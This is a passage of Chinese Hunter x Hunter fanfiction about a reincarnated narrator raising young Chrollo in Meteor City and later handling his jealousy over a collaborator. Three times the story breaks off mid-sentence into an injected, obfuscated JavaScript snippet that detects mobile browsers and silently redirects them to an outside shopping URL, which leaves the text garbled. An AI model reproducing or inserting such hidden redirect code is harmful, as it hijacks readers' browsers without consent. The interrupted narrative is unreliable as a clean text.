【如果真妨碍了他上半辈子的幸福,他以后会不会弄死我!】 你还是没敢下手,只好死命地往外跑。库洛洛和侠客冲上来追你俩,芬克斯又紧随其后。 场面一时间非常混乱。库洛洛也抓起什么往飞坦身上丢,反被他一抬脚精准地踹飞到你身上。你吃痛地捂着腰,含泪逃命。 “我错了!我错了!飞坦大人,你这个发型我觉得挺帅的,有种凌乱感,能感觉到你努力在展示自己粗狂的一面!”* “呵,你比之前那些废物更没有骨气捏。” 最后,这奇特的四连环以跑进居民区被嬷嬷揪住结束,你们都插翅难飞。飞坦和芬克斯喜提两周清洗公共浴室,而你们三人要继续帮厨。嬷嬷对你们几个乖孩子非常失望。 “……私密马赛。”你木着脸吐魂,“我不应该笑他的头发的。” “其实我也觉得很好笑。”侠客安慰你。 库洛仔诚恳地疑惑:“是吗?我倒是觉得那个发型挺酷的,不是很有个性吗。” 你震撼地感叹:“库洛洛。” “怎么了?拉芙,你的表情突然好严肃啊。” “以后不要乱抹发胶哦。” “诶?” 万幸,你居然能从飞坦手底下活着回来,还好你为了保命,从来到这起就有先见之明地每天早晨都绕着居民区跑圈。再晚个十年就直接投第三胎吧。 你们俩的梁子似乎是就此结下了。飞坦后面没有再搞他那艺术的锡纸烫,但看见你还是要刺刺地来几句。 * 不同于窝金和玛奇的领地意识,富兰克林觉得资源的独占并不利于流星街的整体发展。他不承认任何人对垃圾山的所有权,经常不守“行规”地在其他人的山头逡巡。 这样的行为让他受到不少山大王的敌视。但富兰克林聪明沉稳,身手也出众,所以总能全身而退。 库洛洛和侠客非常赞同他的理念,在他说准备去窝金和玛奇的地盘转转的时候,也犹豫着想要跟去。 犹豫的原因很简单,玛奇和窝金也知道你跟他们关系好,他们担心如果遇到玛奇,你在宿舍的日子会不好过。 你感动于这么小的孩子,居然就会为主动朋友的立场考虑。但玛奇同样也是心思细腻的小孩,一早说过你如何行动她无所谓,对其他人可不会留手。你想有富兰克林在,他们应该不会出什么大事,就约定在图书馆等库洛洛回来。 经过课堂学习和这些天与人实际交流,你的流星街语已经有了很大进步。班级的划分是根据学力水平定的,顺利的话不久后你就能转入库洛洛和侠客所在的班级。 你捧着希拉之前向你们推荐的书,继续了解世界各地的发展变迁。连揍敌客这样的杀手家族也被写入了工具书。 这里的小日子是个偏封闭的岛国啊……怪不得,半藏那身忍者装束看着也挺有年代感的。 你就这样看着,等看累了又换一本被翻黄了的古早言情文品鉴。不死不休的血海深仇,简直是做恨文学的领头人。 时间有些久了。你望着墙上挂的时钟。 不会出什么事了吧? 缺乏联络手段的弊端充分显露。你无法确认他们的安危,要出去找又怕期间库洛洛会过来。 万幸,在你的耐心彻底告罄之前,库洛洛小小的身影还是出现了。那张白皙的小脸上却带着冒血的红痕。衣服也灰扑扑的。 “库洛洛!怎么受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250999|197936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤了?!”你虚虚触着伤口边缘的皮肤。 “是吗,我都没注意到。”他耷拉着脑袋在你旁边坐下,圆圆的眼睛里无精打采的,像只哭唧唧的小动物。 “疼不疼?我去医务室拿点药膏。” 你转身想走,库洛洛的小手却轻轻拉住你。 “拉芙,”他瘪着嘴消沉地问,“我是不是太弱了?” “没有的事。”你坐回椅子上,握着他的手,“库洛洛很聪明,超级可爱的。” “可是那天,我没办法从飞坦手里保护你,还让你受伤了……今天如果不是有富兰克林在,也会被揍得够呛。”他的脸垂得越来越低,声音越来越黏糊,“而且,玛奇也不太喜欢我的样子。” “库洛洛是讲道理的乖孩子,遇到不讲理的人是会吃亏的,因为他们是只能被打服的人。但这并不意味着你很弱哦。你们的思维方式不同,行为模式自然也不同。” 你轻轻戳戳他要冒出蘑菇云的额头:“嘛,先不说别的,去别人划定的地盘探险,他们不高兴是肯定的吧。” “那是、和窝金的不一样。”库洛洛小声解释,“窝金只是看重力量,所以轻视每个力量不如他的人而已,但玛奇……我能感觉到,她看我的眼神,怎么说呢……虽然不是很在意我,但看我也不太顺眼?” 呃。说不定是你害的。你心虚地挠头。再也不对小孩子胡说八道了。 “不同的人有不同的性格和特点,没有人能得到所有人的喜爱。”你捏捏他没有受伤的那半边脸,“但是可以确定的是,我非常喜欢库洛洛哦。” 库洛洛抬起眼睑望着你:“真的?” “当然了。谁会和不喜欢的人每天待在一起?” 纯黑的眼睛里猝然亮起一束焰火。 你笑着说:“我最喜欢库洛洛啦,你可是我的天使哦。” “呜……” 库洛洛露出蛋花眼:“我也最喜欢拉芙了!” “呵呵,好啦,去包扎吧?再晚这么漂亮的脸可就要毁了。” “好!” 库洛仔的忍痛能力并不像长大后那么强。以现在的医疗条件,碘酒抹上去还是会疼的,他眼睛湿乎乎的直冒泪花,眼圈也红红的。 “侠客和富兰克林没告诉你脸上受伤了吗?” “好像是有说过什么。我当时太难过了,就没顾得上听、嘶——” 库洛洛闭上眼睛,皱着眉头。表情视死如归。 “疼了?我再轻点。” 即便受了伤,近在咫尺的小脸也标致得很。看得你都想多抹一会了。 咳,你真的不是变.态。 “好了,呼——呼——吹吹就不痛了。” 库洛洛闭上被热气拂过的那只眼睛:“哈哈,好痒哦。” “但果然,我还是要多锻炼。” 顶着快有他半张脸大的纱布,小库洛仔下定决心:“拉芙,明天开始,我也和你一起晨跑吧。” “好呀。”你乐得能和他一起。 回宿舍之后,你看见了已经洗完澡的玛奇。她散着平时扎高的短发,发尾还滴着晶莹的水珠,身上逸散着美好的皂香味道,看上去比以往更温婉。 她短袖睡衣外露出的纤细胳膊上,缠着几圈形状诡异、甚至看上去即将脱落的绷带。 你嘴角抽搐。 这绝对是窝金的手艺。 9. 库洛洛的第零年(5) “学长,你是谈恋爱了吗?” 你的印象中,陀思学长满面春风的样子很少见。从你们开始合作,他基本都是以一副天选打工人的姿态出现,虽然还保持着基本的干净清爽,俊脸上的黑眼圈却比库洛洛还重。然而,今天似乎是特意打扮过。至少平时你没有见过他喷香水。 意外地,陀思学长的反应让你看不懂。你直觉他今天并不是很开心。 但他还是轻笑着说:“我的时间都献给了谁,小姐您不是最清楚的吗?” 你面上一热。尽管知道他意指什么,这种说法还是让人不禁浮想联翩。 毕竟陀思妥耶夫斯基也是有名的大帅哥啊。就算毕业两年,在你们学校出现时也是轰动到连无数学弟都想一睹天姿。 “冤枉,我可没有这么压榨合伙人。”你表示敬谢不敏,“学长这么热心工作我超级感动,但如果影响了学长的终身大事,我会很过意不去的。” 陀思学长笑笑,没有继续这个话题,只是把储存程序的光盘递给你。 这个时代的大容量游戏存储还没有那么便捷,光盘还要待你回去之后打开。为了商讨下一步的开发计划,你掏出了目前新完成的角色设计、共通线和个人线大纲。 老实说,给熟人看自己的文字有种羞耻的感觉,更别说是陀思学长这种会思考人生和哲学的人了。总觉得会被抓住灵魂的触角,洞察连你自己也未能察觉到的弱点。 陀思妥耶夫斯基一边一目十行地浏览着,一边下意识地咬着指甲。如果还穿着那套毛毡大衣,想必他会看起来更像一只智慧大鼠。 “小姐您的创意一如既往的大胆而新颖,总是能给我很多惊喜。”放下手里的纸页,陀思妥耶夫斯基优雅地啜了一口咖啡,脸上挂着淡淡的微笑,“只是,让我最为感兴趣的是,这个所谓的「隐藏男主」——罗佳。”* “……” 你心虚地笑。 “「想要消除世上所有念能力的反派」——实在是很有趣的设定呢。在这个世界上,试图做这种事的人应该寥寥无几,一定有过什么让他下定决心的契机。” 陀思妥耶夫斯基脸上一贯的笑容变得高深莫测起来:“可是,在这个人物的侧写中,我看不到任何暗示他成长经历的线索。小姐,您为什么没有写出来呢?” 为什么?好问题。能不能请陀思学长本人当面解答一下?反正你也不知道啊,就是觉得把魔人写成恋爱脑很有意思,就随便搞咯。而且还是隐藏男主的待遇。 “我觉得不写出来,给读者一些想象空间比较好呢。”你低头也喝了口咖啡,避开他的视线,“这样充满神秘感的角色,如果挖得太深,反而会损失一部分魅力吧。” “确实。”他点头,“不过我还很感兴趣的是,小姐您是怎么想到要创造这个角色的?” “嘛,只是融入了我自己的一点思考而已。以这个世界的太平程度,普通人的生命大概很不值钱吧——”你恶劣地笑了,“想到这一点,就不由得很火大呢。如果有什么存在能颠覆这一切,不是会很有意思吗?” 陀思学长怔住了一瞬,很快手抵在唇边矜持地乐起来。浆果色的眼睛里仿佛含着果实诱人的芬芳,浓郁得要流出汁水。 “小姐您果然很有趣。和您合作真是次愉快的体验。” * 原本最要紧的也只是递个光盘,要聊的正事并没有很多。你的近况陀思学长也了解,但他体贴地没有询问你关于家里的事情。 “没记错的话,小姐说过自己有幼时起就认识的青梅竹马。” “是这样没错。” 库洛洛不定的行踪让你有时候不能及时和学长交流工作的事。……嘛,学长是个熬夜加班的工作狂,而某些深入活动中是不可以走神的。 怎么突然提起这个呢?你疑惑。 陀思学长微笑着看向咖啡店的橱窗外。顺着那视线,你看到站在街角与你们只有一墙之隔,脸上同样挂着弧度完美的浅笑的库洛洛。 “你们感情真好呢。” 寒意瞬间从尾椎窜到头皮。 这也太突然了吧?不是说好你结束后去附近找他的吗? 这店里是决计不能再待了。学长绅士地请客结账,你想推脱,又怕多说一句话就让外边一直看着你的人更想多。 走出店外的每一步都很沉重。库洛洛拉住你的手十指相扣,才看向陀思学长。 “这位就是拉芙总挂在嘴边的‘可靠的陀思学长’了吧。”他温润地笑着说,“真是承蒙关照了。” “没有的事,”学长也莞尔,“我也听小姐的朋友说起过,她有一位优秀的青梅竹马。” ……他刚才说的还是【小姐说过】吧。而且,莉娅她们都直接管库洛洛叫你男朋友的。 库洛洛听到这话,并不觉得奇怪似的,笑容未减分毫。可是你清楚地发觉,其实两个人眼底都没有笑意。不如说,他们漂亮的眼睛里装着审视和防备,以及若有若无的敌意。 “……” 好想找个墙角缩进去。 学长颔首:“那我就不打扰了。小姐,期待您的游玩体验。” 你礼貌地笑着和他告别。 回去的路上,库洛洛一言不发。搞得你原本的质问都不好意思说出来,怕正好怵到他的霉头,最后害你自己遭殃。 今天,陀思学长提到了「这个世界」。虽说不是什么具有决定性的发言,你的心里却隐隐有了个猜测。 【难道他也不属于这个世界……?】 【如果是这样的话,说不定能找到回去的方法?虽说我不太需要就是了……】 “在想他么?” 冷不丁的一句又吓了你一跳。本想照旧回一句‘关你什么事’,他阴郁的神情让你实在不能说出口。你昨天才刚领教过他的底线。 “没有。” 库洛洛没有再说话。回家后,刚锁上门,他就将你抵在门板。 “唔、……” 一个突然,但你早有预料的吻。 就和见到山口君后一样。仅仅经过几句话的交谈,几个微表情的观察,他的醋缸子就炸了,回去缠着你要个说法。 唇舌熟悉的交缠,舌尖时不时被牙齿轻咬着,提醒你只感受他的存在。他一只手扣在你脑后,以防直接硌到门板。另一只手揽着你的腰,不让你逃脱。(这里没有脖子以下,只是亲吻) …… “为什么?” 为什么这样做。 “我想向你证明,我给你的比他要好,比任何人都要好。”库洛洛说,“那样的人,是不会做到这一步的。” 你想也是?想象不出陀思妥耶夫斯基为人做这种事的样子……不对,你为什么要想象自己的合作伙伴。 库洛洛并不是第一次这样服务你。在少年时代你帮他纾解后,他就会主动帮你,还好奇心颇重地尝试各种方式。 “……你这样的说法,好像已经预设了我会和陀思学长发生什么一样。” 他很快回道:“不会的。我绝对不会让那种事发生的。” 他怎么就这么确定呢。 “库洛洛,你不会真的想把学长……?” 库洛洛歪头:“不可以吗?” 他状似天真地问,实则黑眸中没有一丝笑意,牢牢锁定着你的反应。 “当然不可以啊。” “比起我来,他更重要吗?” 你一阵头大。 如果陀思学长真的不属于这个世界,他那逆转死生的能力大概率依然存在。要是告诉库洛洛,你不能确定他会不会想偷走学长的能力,或者严格限制你和学长的接触。而且……关于你是如何得知学长的信息,这个问题也很难解释。 不说的话,库洛洛就会一直钻牛角尖。如果他像之前对山口君那样,偷偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251000|197936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找人家麻烦,事情一样很难收场。 “他活着还有用。” 最终,你只能含糊地解释。 他穷追不舍:“比我还有用吗?” “……” 要命,你只是本着这么多年青梅竹马的情谊,不想让他自己送上门去,为什么还要负责安抚他的情绪。 “真是拿你没辙啊。” 在他强硬地讨要之前,你捧起他的脸吻了上去。舌尖只是轻轻一勾,他就贴近紧紧相依。你吻得温柔而细致,库洛洛配合着你的节奏,把一切都毫无保留地奉上。 连那种味道也、咳。 分开时,他不满足地追逐你的唇舌,被你轻轻掐着脸颊的软肉赶了出来。 他眼底的情动还未褪去,说出的却是:“这是为了他吗?” “哈?你有毛病啊?!” 库洛洛被你凶了一顿才放心,低眉顺眼地说:“那再吻我一次,好不好?” (此处只有接吻) 又开始顺杆爬了。 “你不疼吗?” “很疼。”他拉着你的手轻轻摇晃着,水汪汪的眼睛小鹿一样撒着娇,“拉芙,帮帮我吧?” “不要。” “拉芙——” 库洛洛露出了和小时候如出一辙的荷包蛋眼。乍一看让人很难相信,摆出这样可爱的表情居然是为了做那种事。 你戳了戳他的脸蛋,触感依然很柔软。 “时间过得真快啊,转眼你就长这么大了。” 转眼间,他从一个活泼又爱哭的小孩,变成了可以向你索吻,甚至有过进一步关系的男人。 “?——” 库洛洛对你突兀的母爱发言感到不解。但很快,你又吻住他。品尝的动作甚至比刚才还轻柔,带着你对孩童时代的他的怜惜。 “唔……、嗯……” 他情不自禁发出哼吟。 暌违已久的亲近,他瞳孔睁大了一瞬,就很快有意识地调整好情绪。本能的反应却怎么也抑制不住。对你的渴求无限膨胀,怎么也无法忽视。每动一下,心跳就会露一拍。他难得羞赭地红了脸。(只有接吻) “好孩子。” 你奖励小狗一样,拍了拍他的头。 随后,过量的欢悦让他胡乱地又朝你索吻。喉间隐.忍的声音这才被压下。 他抱得更黏糊,脸颊贴着你的蹭着,时不时偷袭几下。 “安心了?” “安心了。” 库洛洛餍足地微笑。 “那个光盘,我们一起玩吧?” “好啊。” 其实你也正有此意。身为制作者,你考虑的东西难免有局限,如果有人能从纯粹的玩家视角给出建议,对你们的调整会有更大帮助。 “拉芙。” “怎么了?” 他惬意地闭着眼,声音掺了蜜一样带着甜意:“我好开心。” “白痴。” 这人其实还挺好哄的啊。 “拉芙——” 这人又闲得没事干了?你只觉鸡皮疙瘩又要起来:“你这么多年都白长了吗,还跟我像小时候一样撒娇!” 库洛洛有恃无恐地控诉:“以前你很喜欢的呀。现在腻了?” 你哼笑:“我说腻了的话,你会怎么办?” “诶?好过分,好过分好过分——我会哭的——” 他开始撒泼打滚,拖着长音泫然欲泣地看着你。你只得再次吻上他,这才止住他的喋喋不休。 库洛洛满意地反客为主,喉间溢出笑音。 “拉芙……我爱你。” 像是要把曾经缺少的爱语都补全一样,轻声呢喃着。 …… …… “这次你自己解决去。” “拉芙——” “师傅别念了!” “?” 10. 你的很久以前(5) 带小孩是一件费心思的事。小孩哭了要哄,小孩皮了要训,小孩看书要及时过滤掉少儿不宜的内容。不管带多乖的小孩都是如此。 你转入了库洛洛和侠客的班级,几个人更加形影不离。两个小孩都很聪明,在学习上不需要什么帮助,甚至库洛洛还能反过来教教你其他国家的语言,侠客拆从垃圾堆淘过来的废铜烂铁比谁都溜。在性格上,他俩都是在班级里会主动帮助同学,上课回答问题会积极举手的孩子,简直是三好学生。 不过,这并不意味着你可以放松对小孩的教育。两个小孩闲来无事翻着图书馆的言情书时,你义正言辞地说“我要先检查一下里面有没有带坏小孩子的内容”,然后把一些明显过早的书籍没收。 你的行为理所当然收受到了两个孩子的吐槽:“明明你比我们还小。” “这个嘛,毕竟我的心理比较成熟。” “成熟到因为抢少女漫画差点和芬克斯打起来?” “真是的!”你瞪着呲牙乐的侠客,“你怎么净拆我的台!” 这人小时候怎么没遗传以后的情商呢(大声)。而且,你居然没抢过芬克斯和飞坦,气死了。 库洛洛对你俩这德行已经见怪不怪,在旁边非常包容地笑着:“好啦,那咱们去看其他类型的书好了?” 侠客也深谙无意识撒娇之道:“诶?!可是我就想看那个啊——” 你只好说:“那除了第×章和第×章,其他都能看。” “所以说,为什么你就能看啊!这不公平——” “异议驳回!” …… 好吧,你可能不是一个讲理的小家长。 你也是头一回认真带娃,好在拉扯的是还算懂事的可爱小孩,吃住也不用你费心。这么一想,倒是别有一番趣味。 从流星街被派出去的前辈们的善意也支持着你们的生活。教堂被修建在垃圾场外围的郊区,变得宽阔而气派。居民区中心搭起了大舞台,可以放映碟片和供人表演。食材也丰富起来,孩子们可以定期吃到美味的点心。* 你照着菜谱,趁后厨没人的时候用鸡蛋、白糖和牛奶做了份布丁。库洛洛尝过一口之后周围瞬间冒起了幸福的小花。狸猫偷到想要的宝物后会不会也是这么满足呢。 他恨不得把勺子上残留的部分也舔净:“太好吃了!拉芙,你好厉害呀!” 你摸摸他柔软的黑发:“那我下次还做给你。” 他乖巧地由着你,清澈的黑眼睛纯真地看着你,曜石一样闪烁:“我最喜欢你啦!” 你捧心倒地,再起不能。 “咳咳。”你矜持地扭过头去:“这是单说给我的,还是别的妹妹也有的?要是人人都有,今后让我做可是不能了。”* 你可没忘记,漫画里他对派派也是这么说的。 库洛洛大大的眼睛里装着大大的疑惑:“这是哪本书里的台词吗?” “是呀。这个故事告诉我们,如果喜欢一个人,就不能再对其他人留情了。” “那应该是说爱情意义上的吧,”小男孩托腮沉思,“我对每一个朋友都很喜欢哎。” 果然他还是懂这种区别的。看来你是走不了青梅竹马情的线路了。 正这样含泪挥别心中的少女情愫,库洛洛歪头看着你,脸上露出初春花苞绽放般的笑容:“但是,我对拉芙是最最喜欢哦!” “、所以说啊,库洛洛!” “怎么了?” “不可以处处留情!” “我真的没有嘛……” 库洛洛不满地扁着嘴。但没过几分钟,便又眉开眼笑地邀请你去新建的教堂。 神父见到你们并不陌生。教堂里的鉴赏室很宽敞,来这里学习的人却不多,因为没有人想听神父的说教。* 库洛洛这样的乖小孩却是无需担心,在他看来,神父的一切都忠实传达着神的旨意,每一句话都无比正确。你对此持保留态度,只觉得一个豆丁每天虔诚地划十字祷告、板着小脸背教义还挺可爱的。 你们一起看着他淘过来的外语教学录像带。虽然再活一遍还要读书学习很枯燥,可是库洛洛认真听课做笔记的样子实在可爱。 你和玛奇已经玩贪吃蛇和俄罗斯方块玩吐了。可以的话,你也希望流星街好玩的东西可以多一点。 “拉芙,你是不是觉得无聊了呀?” 感官敏锐的小孩很快发现了你兴致缺缺:“我还带了上次从窝金那里翻出来的动画录像带,要看看吗?” “不用顾忌我。” 你并不想库洛洛因为照顾你的情绪而耽误学习。 “不过……学外语的话,还是中文更有意思吧。” “「中文」?那是哪个国家的语言?我好像没从书上看到过哎。” “我也没找到记载呢。”你含糊地回答,“不过,我爸爸妈妈故乡的人都会说这种语言。” 别管,你也没说是你哪边的爸爸妈妈啊。 “写出来的话……大概是这种感觉吧。” 你往纸上写了几个汉字,库洛洛仔细观察了一会说:“感觉有点像那个岛国的文字呢,但是结构又美观很多。” 听到某熟悉的名称,你皱着眉说:“那都是他们小日子抄袭的,抄得还很丑。” “诶?原来是这样吗。” “咳咳、”感觉他再问什么你也答不上来,你快速写下“库洛洛”的汉字,“库洛洛,这是你的名字哦。” “感觉好帅气!”库洛洛拿起笔在旁边学着写,一撇一捺却受老贼设计的通用语影响,像画画一样弄出了圆润的弧度。 你笑着把笔画拆解出来:“写得太可爱啦。这里起笔和收笔要含蓄一些,和其他部分组合起来才好看。” “原来如此!”他又写了一遍,和你写的结构完全相同了。 “要怎么念呢?” “ku—luo—luo。” 小孩稚嫩的声音一点点重复着:“ku—luo—luo。” “是有音调的哦。”你演示了一下汉语的四个声调,“库洛洛的名字都是四声。” 他又念了一遍,这次完全正确。 孺子可教也。这孩子有望成为龙的传人! 你钦定的小传人转头问你:“拉芙,那你的名字怎么写呀?” “嗯……”你在上面留下自己原本的名字,而后念出来,“○○,这是我的小名。” 库洛洛一边写,一边慢慢念着,字形和发音全部一步到位。 “○○,”他又轻轻叫了一遍,悦耳的童声衬得你的名字也像是件柔软不可触碰之物。随后他笑起来,“你真的好厉害,总是了解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251001|197936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么多有趣的东西!可以教教我吗?!” “当然啦。”你的唐诗三百首已准备就绪。 * 事实证明,库洛洛是个聪明又肯用功的学生,学了没多少时日就快把你掏空了。 你们两个鬼鬼祟祟的形影不离让侠客不满,怀疑是不是找到什么好东西没告诉他。当你把教学中做的简易教案和笔记给他看时,侠客呆了一会说,还是祝你们学习愉快吧。 时间有条不紊地行进着,直至到达命运的节点。库洛洛自学会了好几种外语,成为流星街的小名人,武斗派的小孩却因此更喜欢找他的茬;侠客好不容易长齐的牙还是在打架中被打掉了一颗。 希拉总是笑呵呵的,你却很少有和她谈心的机会,只能把她拿着的黑暗大陆手记认真翻阅和记录下来。派克一直温柔而体贴,比你还像个成熟的大人;玛奇毒舌但别扭地关心着你,通用语学得甚至不比库洛洛差。 库洛洛还是在清扫战士拯救世界的身影中,看到了自己的梦想。海市蜃楼一般美好而遥远的幻影,对于流星街里与世隔绝的小孩来说却刚好。 “拉芙——你就答应我嘛!配音不是很有意思吗,你也说过的!” 你第一次拒绝库洛洛的请求,是在他邀请你给录像带配音时。他湿漉漉的眼睛一直瞅着你,被艰难地拒绝后委屈地马上要溢出水来。 “我想和你一起配嘛——” 这孩子真的好能撒娇。你的理智已经岌岌可危了。 试试其实没有什么不好,但可惜这里不该有你的戏份。现在的你,还没有强大到足以和世界对抗的力量,也没有做好承受一切代价的准备。 你只是个普通人,不能阻止既定的轨迹。 你抱着他,拍了拍他瘦小而单薄的背。 “抱歉呀,我还是更喜欢帅气的反派角色,对恋爱党争什么的实在不感兴趣。我帮你问问派克她们吧?” “呜……”库洛洛赌气地瘪着嘴,“为什么拉芙那么喜欢反派呢,正义的伙伴不是更帅嘛?” “反派角色一般很少怀疑自己,而且为了实现理想付出的努力不比任何人少哦。” 想起某人后面极有可能面临的结局,你又补充:“……怎么说呢,一想到反派最后会死,就忍不住怜爱起来了。” “?” 单纯的小孩听不懂。小孩把你仅有一次的拒绝很当回事,虽然没有不理你,但是一想起来就会不由自主地撅着嘴,显得委屈巴巴的。你看见就知道该哄他了。 萨拉萨对你们的互动目瞪口呆:“拉芙,你如果是个男生,我肯定要抢着嫁的!” 希拉揶揄:“库洛洛,是说你已经被宠得快不像个男生了哦。” 库洛洛被说得羞红了脸,小珍珠欲掉不掉:“我只是想拉芙陪着我嘛……” “我这不是一直在吗。”你拉着他的小手晃晃,好声好气地哄着,“那我来给你们当配音导演吧?” 小孩回握住你的手:“好。” 最终,你还是用布丁把小布丁狗的心情刷回原值。几位被邀请来帮忙的小女孩也被你用同样的方式犒劳了。 希拉:“(幽幽)库洛洛,你平常过得可真好呢。” 库洛洛:“(天真)诶?确实是每天都很开心!” 派克:“(慈母の笑)……” 11. 库洛洛的第零年(6) 虽说并不算出于你的本意,库洛洛被抚慰后还是愈发得寸进尺。他默认了你们的关系可以再进一步,你的拒绝只被视为猫主子对仆人的日常嫌弃——反而让仆人更兴奋了。 你数不清是第多少次按着他的脑袋,让他不要在你工作时偷袭了。 “你原来是M吗?这么喜欢热脸贴冷屁股。” 此男已然完全免疫,摆出谦谦君子的纯良笑容:“因为你凶我的样子也很可爱啊。” 你恶寒地翻了个白眼,准备自己换个房间待着,这人又开始服软:“抱歉,是我得意忘形了。” 很可惜,你并不是在处理矛盾时会见好就收的人,反正一向没什么人顾过你的脸面。况且,你是真的觉得远离这家伙后工作效率能翻倍。 “那你趁此机会自己反省一下吧。” “对不起,我不乱动了。”他光速滑跪,抓着你的衣角一脸乖巧地小声说,“拉芙,我可以帮你的,不是还要测试程序吗?” “……” 台阶都送到嘴边了,你再不下倒显得不依不饶。于是你冷哼一声,默认了这人可以继续待在你身边。 他怎么总那么有办法呢?缠着你不放,惹你生气了就识相地消停,等你不气了又会出来探头探脑。你绝对没教过他这些,也没要他哄过你。这家伙到底是怎么自己长成这样的。 * 库洛洛先选了英俊的男主角。FD的设计里,你同样做了新的尝试,除了本篇角色的保留和战斗的延续,玩家还需要进行策略性的“选择”。 “……” 他对在本篇里经历千难万险才成长为一代强者的男主人公,因为被朋友邀请偷窥女生浴室时没有坚定拒绝,被浴室里盛怒之下的路人女角色一拳揍死的支线结局感到迷茫。 “欺负女人可是没有好下场的哦。”你云淡风轻地说。 “确实,没必要做这种风险高又没有实质性回报的事。” “?如果回报高,你怕不是要直接带着旅团的人都去看了?” “不,”求生欲和你犀利的视线迫使他改口,“我是说,我对这种事没兴趣。” “呵。” 以及,和朋友玩狼人杀,因为被抽象队友坑死而喜提智商-10,未能完成支线任务。 在解谜游戏中因为缺少之前的活动环节随机获得的道具而被迫GG,但此前并未获得任何相关提示。 玩家库洛洛为自己付出了不少脑力的失败推理,面无表情地啧了一声。 ……好吧,你当时自己精神状态也不太好,属实有点谏○创上身了。 看他难得跟游戏较劲,你拍了拍他的脑袋:“重在参与嘛。” 可怜的玩家顺势无言地蹭了蹭你的手心,黑溜溜的眼睛平静中带着幽怨地看你,似乎意在谴责,又像要撒娇:“为什么这样设计?” 你语重心长地回答:“这只是个黑色幽默,为了告诉男玩家们,这个世界并不以个人的意志为转移,要学会接受生活中的不如意。” 虽然通过游戏发泄情绪的你,才是最不能接受的也说不定,哈哈。 “你的学长也赞成这种设计吗?” 你不明所以:“他觉得很有意思啊。还说他也很期待玩家们的反应。” 呃,你承认,陀思学长可能只是知道你心情不好,所以体贴地没有多说而已。 库洛洛拉长音“哦——”了一声,意味不明地道:“他看起来不像那种人。” “那他看起来像哪种?” “像是做事前会衡量投入与回报的人——” 库洛洛探究地看着你,似乎想从你身上寻找出什么答案:“除非他觉得,这种设计会让他获得什么更大的益处。” “……?” 这点坑人程序,对于陀思学长的工作量来说也就是一张桌角对整个木材加工厂的事。你实在想不通能有啥好处。 “你们是什么时候开始策划这个程序的?” “我记不清了……啊。” 如果说有什么印象深刻的事,你倒是依稀记得。你和妈妈关系开始愈发紧张,敏感的性格愈发承受不住积攒的压力,可是又不愿求救。至少在自己的作品上,想稍微捉弄冲着美丽女角色来的可恨男人,宣泄一下。 库洛洛是知道你状态不好的,也问过你原因。但你出于对自尊的维护,坚持说自己可以解决。——虽然最后你不小心把他也解决了(吐舌)。 陀思学长当然也有所察觉,但你是在妈妈死后才告诉他家里有事的。那个时候,他最多只能暗自揣测你是不是受了什么情伤,才想搞出这种整蛊设计。 啊呀!你福至心灵,这样一来,学长有时超出合作范围的邀约和那天特意的打扮也就可以用某个原因解释了。 你恍然大悟的眼前一亮,转瞬变成欲盖弥彰的讽嘲:“就不能是他也想伤害下玩家吗?” 库洛洛没有回话,身体却又默默贴过来,估计已经在想象里喝了几坛酸醋。 等玩到女主人公视角时,此男首先在起名上犯了难。男主人公直接沿用了他在本篇起的名字「阿母」,是当年他钟爱的漫画《鼻毛真拳》里男主角的名字。女主人公之前没有玩过,所以要重新起。 “实在不行就叫「小美」咯?”你提出了漫画里女主角的名字。不行的话,你还有很多老婆的名字可供选择。 他认真思考了一会,白净的娃娃脸上表情寡淡,倒是冷脸萌无疑。 “唔,叫「库芙芙」怎么样?感觉很可爱,而且像我们的孩子。” “……” 这人已经被你教的中文姓氏腌入味了。 说真的,一时间你只能想起某位雾之守护者,和他的笑声。 孩子?你和库洛洛,生出一个六道凤梨头??会给你俩擦玻璃的那种???* 你在心里已经笑成某新世界的卡密了,嘴角扭曲地上扬:“确实不错。”* 库洛洛只当你默认了他暗含的某种试探,心情肉眼可见地又好起来。 玩家库芙芙没有了方才的憋屈体验。无他,女主角版的FD已经有了乙游的雏形。作为功成名就的勇者,走到哪里都被大把帅哥美女仰慕,去鬼屋都能被鬼追着要签名。 库洛洛:“……好明显的「温度差」。” 你:“我的亲女儿就是要风风光光的呀。” “儿子就不需要了吗?” “男孩子还是要坚强点,不能动不动就哭哭啼啼的。” 库洛洛怀疑你意有所指:“是在嫌弃我吗?” 他垂眸,深邃的眼睛里水波轻轻荡漾,一副故作坚强的受伤模样。 “……你有点招不会都用我身上了吧。” 你始终震撼于他为了模仿人类反应而彻夜翻看的无数文学作品和电影碟片,即便你自己打黑工的时候没遇到过多少可以应用的场景。 